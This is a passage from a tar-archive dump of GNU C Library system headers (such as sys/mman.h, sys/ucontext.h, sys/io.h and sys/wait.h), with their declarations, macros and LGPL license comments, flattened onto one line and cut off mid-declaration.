STAP_PROBE11(provider,probe,parm1,parm2,parm3,parm4,parm5,parm6,parm7,parm8,parm9,parm10,parm11) #define DTRACE_PROBE12(provider,probe,parm1,parm2,parm3,parm4,parm5,parm6,parm7,parm8,parm9,parm10,parm11,parm12) \ STAP_PROBE12(provider,probe,parm1,parm2,parm3,parm4,parm5,parm6,parm7,parm8,parm9,parm10,parm11,parm12) #endif /* sys/sdt.h */ sys/sysmacros.h 0000644 00000004066 15246445046 0007576 0 ustar 00 /* Definitions of macros to access `dev_t' values. Copyright (C) 1996-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_SYSMACROS_H #define _SYS_SYSMACROS_H 1 #include <features.h> #include <bits/types.h> #include <bits/sysmacros.h> #define __SYSMACROS_DECL_TEMPL(rtype, name, proto) \ extern rtype gnu_dev_##name proto __THROW __attribute_const__; #define __SYSMACROS_IMPL_TEMPL(rtype, name, proto) \ __extension__ __extern_inline __attribute_const__ rtype \ __NTH (gnu_dev_##name proto) __BEGIN_DECLS __SYSMACROS_DECLARE_MAJOR (__SYSMACROS_DECL_TEMPL) __SYSMACROS_DECLARE_MINOR (__SYSMACROS_DECL_TEMPL) __SYSMACROS_DECLARE_MAKEDEV (__SYSMACROS_DECL_TEMPL) #ifdef __USE_EXTERN_INLINES __SYSMACROS_DEFINE_MAJOR (__SYSMACROS_IMPL_TEMPL) __SYSMACROS_DEFINE_MINOR (__SYSMACROS_IMPL_TEMPL) __SYSMACROS_DEFINE_MAKEDEV (__SYSMACROS_IMPL_TEMPL) #endif __END_DECLS #ifndef __SYSMACROS_NEED_IMPLEMENTATION # undef __SYSMACROS_DECL_TEMPL # undef __SYSMACROS_IMPL_TEMPL # undef __SYSMACROS_DECLARE_MAJOR # undef __SYSMACROS_DECLARE_MINOR # undef __SYSMACROS_DECLARE_MAKEDEV # undef __SYSMACROS_DEFINE_MAJOR # undef __SYSMACROS_DEFINE_MINOR # undef __SYSMACROS_DEFINE_MAKEDEV #endif #define major(dev) gnu_dev_major (dev) #define minor(dev) gnu_dev_minor (dev) #define makedev(maj, min) gnu_dev_makedev (maj, min) #endif /* sys/sysmacros.h */ sys/vtimes.h 0000644 00000004636 15246445046 0007065 0 ustar 00 /* Copyright (C) 1991-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_VTIMES_H #define _SYS_VTIMES_H 1 #include <features.h> __BEGIN_DECLS /* This interface is obsolete; use `getrusage' instead. */ /* Granularity of the `vm_utime' and `vm_stime' fields of a `struct vtimes'. (This is the frequency of the machine's power supply, in Hz.) */ #define VTIMES_UNITS_PER_SECOND 60 struct vtimes { /* User time used in units of 1/VTIMES_UNITS_PER_SECOND seconds. */ int vm_utime; /* System time used in units of 1/VTIMES_UNITS_PER_SECOND seconds. */ int vm_stime; /* Amount of data and stack memory used (kilobyte-seconds). */ unsigned int vm_idsrss; /* Amount of text memory used (kilobyte-seconds). */ unsigned int vm_ixrss; /* Maximum resident set size (text, data, and stack) (kilobytes). */ int vm_maxrss; /* Number of hard page faults (i.e. those that required I/O). */ int vm_majflt; /* Number of soft page faults (i.e. those serviced by reclaiming a page from the list of pages awaiting reallocation. */ int vm_minflt; /* Number of times a process was swapped out of physical memory. */ int vm_nswap; /* Number of input operations via the file system. Note: This and `ru_oublock' do not include operations with the cache. */ int vm_inblk; /* Number of output operations via the file system. */ int vm_oublk; }; /* If CURRENT is not NULL, write statistics for the current process into *CURRENT. If CHILD is not NULL, write statistics for all terminated child processes into *CHILD. Returns 0 for success, -1 for failure. */ extern int vtimes (struct vtimes * __current, struct vtimes * __child) __THROW; __END_DECLS #endif /* sys/vtimes.h */ sys/mman.h 0000644 00000012657 15246445046 0006510 0 ustar 00 /* Definitions for BSD-style memory management. Copyright (C) 1994-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_MMAN_H #define _SYS_MMAN_H 1 #include <features.h> #include <bits/types.h> #define __need_size_t #include <stddef.h> #ifndef __off_t_defined # ifndef __USE_FILE_OFFSET64 typedef __off_t off_t; # else typedef __off64_t off_t; # endif # define __off_t_defined #endif #ifndef __mode_t_defined typedef __mode_t mode_t; # define __mode_t_defined #endif #include <bits/mman.h> /* Return value of `mmap' in case of an error. */ #define MAP_FAILED ((void *) -1) __BEGIN_DECLS /* Map addresses starting near ADDR and extending for LEN bytes. from OFFSET into the file FD describes according to PROT and FLAGS. If ADDR is nonzero, it is the desired mapping address. If the MAP_FIXED bit is set in FLAGS, the mapping will be at ADDR exactly (which must be page-aligned); otherwise the system chooses a convenient nearby address. The return value is the actual mapping address chosen or MAP_FAILED for errors (in which case `errno' is set). A successful `mmap' call deallocates any previous mapping for the affected region. */ #ifndef __USE_FILE_OFFSET64 extern void *mmap (void *__addr, size_t __len, int __prot, int __flags, int __fd, __off_t __offset) __THROW; #else # ifdef __REDIRECT_NTH extern void * __REDIRECT_NTH (mmap, (void *__addr, size_t __len, int __prot, int __flags, int __fd, __off64_t __offset), mmap64); # else # define mmap mmap64 # endif #endif #ifdef __USE_LARGEFILE64 extern void *mmap64 (void *__addr, size_t __len, int __prot, int __flags, int __fd, __off64_t __offset) __THROW; #endif /* Deallocate any mapping for the region starting at ADDR and extending LEN bytes. Returns 0 if successful, -1 for errors (and sets errno). */ extern int munmap (void *__addr, size_t __len) __THROW; /* Change the memory protection of the region starting at ADDR and extending LEN bytes to PROT. Returns 0 if successful, -1 for errors (and sets errno). */ extern int mprotect (void *__addr, size_t __len, int __prot) __THROW; /* Synchronize the region starting at ADDR and extending LEN bytes with the file it maps. Filesystem operations on a file being mapped are unpredictable before this is done. Flags are from the MS_* set. This function is a cancellation point and therefore not marked with __THROW. */ extern int msync (void *__addr, size_t __len, int __flags); #ifdef __USE_MISC /* Advise the system about particular usage patterns the program follows for the region starting at ADDR and extending LEN bytes. */ extern int madvise (void *__addr, size_t __len, int __advice) __THROW; #endif #ifdef __USE_XOPEN2K /* This is the POSIX name for this function. */ extern int posix_madvise (void *__addr, size_t __len, int __advice) __THROW; #endif /* Guarantee all whole pages mapped by the range [ADDR,ADDR+LEN) to be memory resident. */ extern int mlock (const void *__addr, size_t __len) __THROW; /* Unlock whole pages previously mapped by the range [ADDR,ADDR+LEN). */ extern int munlock (const void *__addr, size_t __len) __THROW; /* Cause all currently mapped pages of the process to be memory resident until unlocked by a call to the `munlockall', until the process exits, or until the process calls `execve'. */ extern int mlockall (int __flags) __THROW; /* All currently mapped pages of the process' address space become unlocked. */ extern int munlockall (void) __THROW; #ifdef __USE_MISC /* mincore returns the memory residency status of the pages in the current process's address space specified by [start, start + len). The status is returned in a vector of bytes. The least significant bit of each byte is 1 if the referenced page is in memory, otherwise it is zero. */ extern int mincore (void *__start, size_t __len, unsigned char *__vec) __THROW; #endif #ifdef __USE_GNU /* Remap pages mapped by the range [ADDR,ADDR+OLD_LEN) to new length NEW_LEN. If MREMAP_MAYMOVE is set in FLAGS the returned address may differ from ADDR. If MREMAP_FIXED is set in FLAGS the function takes another parameter which is a fixed address at which the block resides after a successful call. */ extern void *mremap (void *__addr, size_t __old_len, size_t __new_len, int __flags, ...) __THROW; /* Remap arbitrary pages of a shared backing store within an existing VMA. */ extern int remap_file_pages (void *__start, size_t __size, int __prot, size_t __pgoff, int __flags) __THROW; #endif /* Open shared memory segment. */ extern int shm_open (const char *__name, int __oflag, mode_t __mode); /* Remove shared memory segment. */ extern int shm_unlink (const char *__name); __END_DECLS #endif /* sys/mman.h */ sys/auxv.h 0000644 00000002353 15246445046 0006533 0 ustar 00 /* Access to the auxiliary vector. Copyright (C) 2012-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_AUXV_H #define _SYS_AUXV_H 1 #include <elf.h> #include <sys/cdefs.h> #include <bits/hwcap.h> __BEGIN_DECLS /* Return the value associated with an Elf*_auxv_t type from the auxv list passed to the program on startup. If TYPE was not present in the auxv list, returns zero and sets errno to ENOENT. */ extern unsigned long int getauxval (unsigned long int __type) __THROW; __END_DECLS #endif /* sys/auxv.h */ sys/ucontext.h 0000644 00000013321 15246445046 0007416 0 ustar 00 /* Copyright (C) 2001-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_UCONTEXT_H #define _SYS_UCONTEXT_H 1 #include <features.h> #include <bits/types.h> #include <bits/types/sigset_t.h> #include <bits/types/stack_t.h> #ifdef __USE_MISC # define __ctx(fld) fld #else # define __ctx(fld) __ ## fld #endif #ifdef __x86_64__ /* Type for general register. */ __extension__ typedef long long int greg_t; /* Number of general registers. */ #define __NGREG 23 #ifdef __USE_MISC # define NGREG __NGREG #endif /* Container for all general registers. */ typedef greg_t gregset_t[__NGREG]; #ifdef __USE_GNU /* Number of each register in the `gregset_t' array. */ enum { REG_R8 = 0, # define REG_R8 REG_R8 REG_R9, # define REG_R9 REG_R9 REG_R10, # define REG_R10 REG_R10 REG_R11, # define REG_R11 REG_R11 REG_R12, # define REG_R12 REG_R12 REG_R13, # define REG_R13 REG_R13 REG_R14, # define REG_R14 REG_R14 REG_R15, # define REG_R15 REG_R15 REG_RDI, # define REG_RDI REG_RDI REG_RSI, # define REG_RSI REG_RSI REG_RBP, # define REG_RBP REG_RBP REG_RBX, # define REG_RBX REG_RBX REG_RDX, # define REG_RDX REG_RDX REG_RAX, # define REG_RAX REG_RAX REG_RCX, # define REG_RCX REG_RCX REG_RSP, # define REG_RSP REG_RSP REG_RIP, # define REG_RIP REG_RIP REG_EFL, # define REG_EFL REG_EFL REG_CSGSFS, /* Actually short cs, gs, fs, __pad0. */ # define REG_CSGSFS REG_CSGSFS REG_ERR, # define REG_ERR REG_ERR REG_TRAPNO, # define REG_TRAPNO REG_TRAPNO REG_OLDMASK, # define REG_OLDMASK REG_OLDMASK REG_CR2 # define REG_CR2 REG_CR2 }; #endif struct _libc_fpxreg { unsigned short int __ctx(significand)[4]; unsigned short int __ctx(exponent); unsigned short int __glibc_reserved1[3]; }; struct _libc_xmmreg { __uint32_t __ctx(element)[4]; }; struct _libc_fpstate { /* 64-bit FXSAVE format. */ __uint16_t __ctx(cwd); __uint16_t __ctx(swd); __uint16_t __ctx(ftw); __uint16_t __ctx(fop); __uint64_t __ctx(rip); __uint64_t __ctx(rdp); __uint32_t __ctx(mxcsr); __uint32_t __ctx(mxcr_mask); struct _libc_fpxreg _st[8]; struct _libc_xmmreg _xmm[16]; __uint32_t __glibc_reserved1[24]; }; /* Structure to describe FPU registers. */ typedef struct _libc_fpstate *fpregset_t; /* Context to describe whole processor state. */ typedef struct { gregset_t __ctx(gregs); /* Note that fpregs is a pointer. */ fpregset_t __ctx(fpregs); __extension__ unsigned long long __reserved1 [8]; } mcontext_t; /* Userlevel context. */ typedef struct ucontext_t { unsigned long int __ctx(uc_flags); struct ucontext_t *uc_link; stack_t uc_stack; mcontext_t uc_mcontext; sigset_t uc_sigmask; struct _libc_fpstate __fpregs_mem; __extension__ unsigned long long int __ssp[4]; } ucontext_t; #else /* !__x86_64__ */ /* Type for general register. */ typedef int greg_t; /* Number of general registers. */ #define __NGREG 19 #ifdef __USE_MISC # define NGREG __NGREG #endif /* Container for all general registers. */ typedef greg_t gregset_t[__NGREG]; #ifdef __USE_GNU /* Number of each register is the `gregset_t' array. */ enum { REG_GS = 0, # define REG_GS REG_GS REG_FS, # define REG_FS REG_FS REG_ES, # define REG_ES REG_ES REG_DS, # define REG_DS REG_DS REG_EDI, # define REG_EDI REG_EDI REG_ESI, # define REG_ESI REG_ESI REG_EBP, # define REG_EBP REG_EBP REG_ESP, # define REG_ESP REG_ESP REG_EBX, # define REG_EBX REG_EBX REG_EDX, # define REG_EDX REG_EDX REG_ECX, # define REG_ECX REG_ECX REG_EAX, # define REG_EAX REG_EAX REG_TRAPNO, # define REG_TRAPNO REG_TRAPNO REG_ERR, # define REG_ERR REG_ERR REG_EIP, # define REG_EIP REG_EIP REG_CS, # define REG_CS REG_CS REG_EFL, # define REG_EFL REG_EFL REG_UESP, # define REG_UESP REG_UESP REG_SS # define REG_SS REG_SS }; #endif /* Definitions taken from the kernel headers. */ struct _libc_fpreg { unsigned short int __ctx(significand)[4]; unsigned short int __ctx(exponent); }; struct _libc_fpstate { unsigned long int __ctx(cw); unsigned long int __ctx(sw); unsigned long int __ctx(tag); unsigned long int __ctx(ipoff); unsigned long int __ctx(cssel); unsigned long int __ctx(dataoff); unsigned long int __ctx(datasel); struct _libc_fpreg _st[8]; unsigned long int __ctx(status); }; /* Structure to describe FPU registers. */ typedef struct _libc_fpstate *fpregset_t; /* Context to describe whole processor state. */ typedef struct { gregset_t __ctx(gregs); /* Due to Linux's history we have to use a pointer here. The SysV/i386 ABI requires a struct with the values. */ fpregset_t __ctx(fpregs); unsigned long int __ctx(oldmask); unsigned long int __ctx(cr2); } mcontext_t; /* Userlevel context. */ typedef struct ucontext_t { unsigned long int __ctx(uc_flags); struct ucontext_t *uc_link; stack_t uc_stack; mcontext_t uc_mcontext; sigset_t uc_sigmask; struct _libc_fpstate __fpregs_mem; unsigned long int __ssp[4]; } ucontext_t; #endif /* !__x86_64__ */ #undef __ctx #endif /* sys/ucontext.h */ sys/times.h 0000644 00000003074 15246445046 0006672 0 ustar 00 /* Copyright (C) 1991-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* * POSIX Standard: 4.5.2 Process Times <sys/times.h> */ #ifndef _SYS_TIMES_H #define _SYS_TIMES_H 1 #include <features.h> #include <bits/types/clock_t.h> __BEGIN_DECLS /* Structure describing CPU time used by a process and its children. */ struct tms { clock_t tms_utime; /* User CPU time. */ clock_t tms_stime; /* System CPU time. */ clock_t tms_cutime; /* User CPU time of dead children. */ clock_t tms_cstime; /* System CPU time of dead children. */ }; /* Store the CPU time used by this process and all its dead children (and their dead children) in BUFFER. Return the elapsed real time, or (clock_t) -1 for errors. All times are in CLK_TCKths of a second. */ extern clock_t times (struct tms *__buffer) __THROW; __END_DECLS #endif /* sys/times.h */ sys/ipc.h 0000644 00000002665 15246445046 0006331 0 ustar 00 /* Copyright (C) 1995-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_IPC_H #define _SYS_IPC_H 1 #include <features.h> /* Get system dependent definition of `struct ipc_perm' and more. */ #include <bits/ipctypes.h> #include <bits/ipc.h> #ifndef __uid_t_defined typedef __uid_t uid_t; # define __uid_t_defined #endif #ifndef __gid_t_defined typedef __gid_t gid_t; # define __gid_t_defined #endif #ifndef __mode_t_defined typedef __mode_t mode_t; # define __mode_t_defined #endif #ifndef __key_t_defined typedef __key_t key_t; # define __key_t_defined #endif __BEGIN_DECLS /* Generates key for System V style IPC. */ extern key_t ftok (const char *__pathname, int __proj_id) __THROW; __END_DECLS #endif /* sys/ipc.h */ sys/syscall.h 0000644 00000002467 15246445046 0007230 0 ustar 00 /* Copyright (C) 1995-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYSCALL_H #define _SYSCALL_H 1 /* This file should list the numbers of the system calls the system knows. But instead of duplicating this we use the information available from the kernel sources. */ #include <asm/unistd.h> #ifndef _LIBC /* The Linux kernel header file defines macros `__NR_<name>', but some programs expect the traditional form `SYS_<name>'. So in building libc we scan the kernel's list and produce <bits/syscall.h> with macros for all the `SYS_' names. */ # include <bits/syscall.h> #endif #endif sys/io.h 0000644 00000011735 15246445046 0006163 0 ustar 00 /* Copyright (C) 1996-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_IO_H #define _SYS_IO_H 1 #include <features.h> __BEGIN_DECLS /* If TURN_ON is TRUE, request for permission to do direct i/o on the port numbers in the range [FROM,FROM+NUM-1]. Otherwise, turn I/O permission off for that range. This call requires root privileges. Portability note: not all Linux platforms support this call. Most platforms based on the PC I/O architecture probably will, however. E.g., Linux/Alpha for Alpha PCs supports this. */ extern int ioperm (unsigned long int __from, unsigned long int __num, int __turn_on) __THROW; /* Set the I/O privilege level to LEVEL. If LEVEL>3, permission to access any I/O port is granted. This call requires root privileges. */ extern int iopl (int __level) __THROW; #if defined __GNUC__ && __GNUC__ >= 2 static __inline unsigned char inb (unsigned short int __port) { unsigned char _v; __asm__ __volatile__ ("inb %w1,%0":"=a" (_v):"Nd" (__port)); return _v; } static __inline unsigned char inb_p (unsigned short int __port) { unsigned char _v; __asm__ __volatile__ ("inb %w1,%0\noutb %%al,$0x80":"=a" (_v):"Nd" (__port)); return _v; } static __inline unsigned short int inw (unsigned short int __port) { unsigned short _v; __asm__ __volatile__ ("inw %w1,%0":"=a" (_v):"Nd" (__port)); return _v; } static __inline unsigned short int inw_p (unsigned short int __port) { unsigned short int _v; __asm__ __volatile__ ("inw %w1,%0\noutb %%al,$0x80":"=a" (_v):"Nd" (__port)); return _v; } static __inline unsigned int inl (unsigned short int __port) { unsigned int _v; __asm__ __volatile__ ("inl %w1,%0":"=a" (_v):"Nd" (__port)); return _v; } static __inline unsigned int inl_p (unsigned short int __port) { unsigned int _v; __asm__ __volatile__ ("inl %w1,%0\noutb %%al,$0x80":"=a" (_v):"Nd" (__port)); return _v; } static __inline void outb (unsigned char __value, unsigned short int __port) { __asm__ __volatile__ ("outb %b0,%w1": :"a" (__value), "Nd" (__port)); } static __inline void outb_p (unsigned char __value, unsigned short int __port) { __asm__ __volatile__ ("outb %b0,%w1\noutb %%al,$0x80": :"a" (__value), "Nd" (__port)); } static __inline void outw (unsigned short int __value, unsigned short int __port) { __asm__ __volatile__ ("outw %w0,%w1": :"a" (__value), "Nd" (__port)); } static __inline void outw_p (unsigned short int __value, unsigned short int __port) { __asm__ __volatile__ ("outw %w0,%w1\noutb %%al,$0x80": :"a" (__value), "Nd" (__port)); } static __inline void outl (unsigned int __value, unsigned short int __port) { __asm__ __volatile__ ("outl %0,%w1": :"a" (__value), "Nd" (__port)); } static __inline void outl_p (unsigned int __value, unsigned short int __port) { __asm__ __volatile__ ("outl %0,%w1\noutb %%al,$0x80": :"a" (__value), "Nd" (__port)); } static __inline void insb (unsigned short int __port, void *__addr, unsigned long int __count) { __asm__ __volatile__ ("cld ; rep ; insb":"=D" (__addr), "=c" (__count) :"d" (__port), "0" (__addr), "1" (__count)); } static __inline void insw (unsigned short int __port, void *__addr, unsigned long int __count) { __asm__ __volatile__ ("cld ; rep ; insw":"=D" (__addr), "=c" (__count) :"d" (__port), "0" (__addr), "1" (__count)); } static __inline void insl (unsigned short int __port, void *__addr, unsigned long int __count) { __asm__ __volatile__ ("cld ; rep ; insl":"=D" (__addr), "=c" (__count) :"d" (__port), "0" (__addr), "1" (__count)); } static __inline void outsb (unsigned short int __port, const void *__addr, unsigned long int __count) { __asm__ __volatile__ ("cld ; rep ; outsb":"=S" (__addr), "=c" (__count) :"d" (__port), "0" (__addr), "1" (__count)); } static __inline void outsw (unsigned short int __port, const void *__addr, unsigned long int __count) { __asm__ __volatile__ ("cld ; rep ; outsw":"=S" (__addr), "=c" (__count) :"d" (__port), "0" (__addr), "1" (__count)); } static __inline void outsl (unsigned short int __port, const void *__addr, unsigned long int __count) { __asm__ __volatile__ ("cld ; rep ; outsl":"=S" (__addr), "=c" (__count) :"d" (__port), "0" (__addr), "1" (__count)); } #endif /* GNU C */ __END_DECLS #endif /* _SYS_IO_H */ sys/dir.h 0000644 00000001631 15246445046 0006324 0 ustar 00 /* Copyright (C) 1991-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_DIR_H #define _SYS_DIR_H 1 #include <features.h> #include <dirent.h> #define direct dirent #endif /* sys/dir.h */ sys/fanotify.h 0000644 00000002413 15246445046 0007364 0 ustar 00 /* Copyright (C) 2010-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_FANOTIFY_H #define _SYS_FANOTIFY_H 1 #include <stdint.h> #include <linux/fanotify.h> __BEGIN_DECLS /* Create and initialize fanotify group. */ extern int fanotify_init (unsigned int __flags, unsigned int __event_f_flags) __THROW; /* Add, remove, or modify an fanotify mark on a filesystem object. */ extern int fanotify_mark (int __fanotify_fd, unsigned int __flags, uint64_t __mask, int __dfd, const char *__pathname) __THROW; __END_DECLS #endif /* sys/fanotify.h */ sys/un.h 0000644 00000002654 15246445046 0006176 0 ustar 00 /* Copyright (C) 1991-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_UN_H #define _SYS_UN_H 1 #include <sys/cdefs.h> /* Get the definition of the macro to define the common sockaddr members. */ #include <bits/sockaddr.h> __BEGIN_DECLS /* Structure describing the address of an AF_LOCAL (aka AF_UNIX) socket. */ struct sockaddr_un { __SOCKADDR_COMMON (sun_); char sun_path[108]; /* Path name. */ }; #ifdef __USE_MISC # include <string.h> /* For prototype of `strlen'. */ /* Evaluate to actual length of the `sockaddr_un' structure. */ # define SUN_LEN(ptr) ((size_t) (((struct sockaddr_un *) 0)->sun_path) \ + strlen ((ptr)->sun_path)) #endif __END_DECLS #endif /* sys/un.h */ sys/raw.h 0000644 00000002235 15246445046 0006340 0 ustar 00 /* Copyright (C) 1999-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_RAW_H #define _SYS_RAW_H 1 #include <stdint.h> #include <sys/ioctl.h> /* The major device number for raw devices. */ #define RAW_MAJOR 162 /* `ioctl' commands for raw devices. */ #define RAW_SETBIND _IO(0xac, 0) #define RAW_GETBIND _IO(0xac, 1) struct raw_config_request { int raw_minor; uint64_t block_major; uint64_t block_minor; }; #endif /* sys/raw.h */ sys/wait.h 0000644 00000012744 15246445046 0006521 0 ustar 00 /* Copyright (C) 1991-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* * POSIX Standard: 3.2.1 Wait for Process Termination <sys/wait.h> */ #ifndef _SYS_WAIT_H #define _SYS_WAIT_H 1 #include <features.h> __BEGIN_DECLS #include <bits/types.h> #ifndef __pid_t_defined typedef __pid_t pid_t; # define __pid_t_defined #endif #if defined __USE_XOPEN_EXTENDED || defined __USE_XOPEN2K8 # include <signal.h> #endif #if defined __USE_XOPEN_EXTENDED && !defined __USE_XOPEN2K8 /* Some older standards require the contents of struct rusage to be defined here. */ # include <bits/types/struct_rusage.h> #endif /* These macros could also be defined in <stdlib.h>. */ #if !defined _STDLIB_H || (!defined __USE_XOPEN && !defined __USE_XOPEN2K8) /* This will define the `W*' macros for the flag bits to `waitpid', `wait3', and `wait4'. */ # include <bits/waitflags.h> /* This will define all the `__W*' macros. */ # include <bits/waitstatus.h> # define WEXITSTATUS(status) __WEXITSTATUS (status) # define WTERMSIG(status) __WTERMSIG (status) # define WSTOPSIG(status) __WSTOPSIG (status) # define WIFEXITED(status) __WIFEXITED (status) # define WIFSIGNALED(status) __WIFSIGNALED (status) # define WIFSTOPPED(status) __WIFSTOPPED (status) # ifdef __WIFCONTINUED # define WIFCONTINUED(status) __WIFCONTINUED (status) # endif #endif /* <stdlib.h> not included. */ #ifdef __USE_MISC # define WCOREFLAG __WCOREFLAG # define WCOREDUMP(status) __WCOREDUMP (status) # define W_EXITCODE(ret, sig) __W_EXITCODE (ret, sig) # define W_STOPCODE(sig) __W_STOPCODE (sig) #endif /* The following values are used by the `waitid' function. */ #if defined __USE_XOPEN_EXTENDED || defined __USE_XOPEN2K8 typedef enum { P_ALL, /* Wait for any child. */ P_PID, /* Wait for specified process. */ P_PGID /* Wait for members of process group. */ } idtype_t; #endif /* Wait for a child to die. When one does, put its status in *STAT_LOC and return its process ID. For errors, return (pid_t) -1. This function is a cancellation point and therefore not marked with __THROW. */ extern __pid_t wait 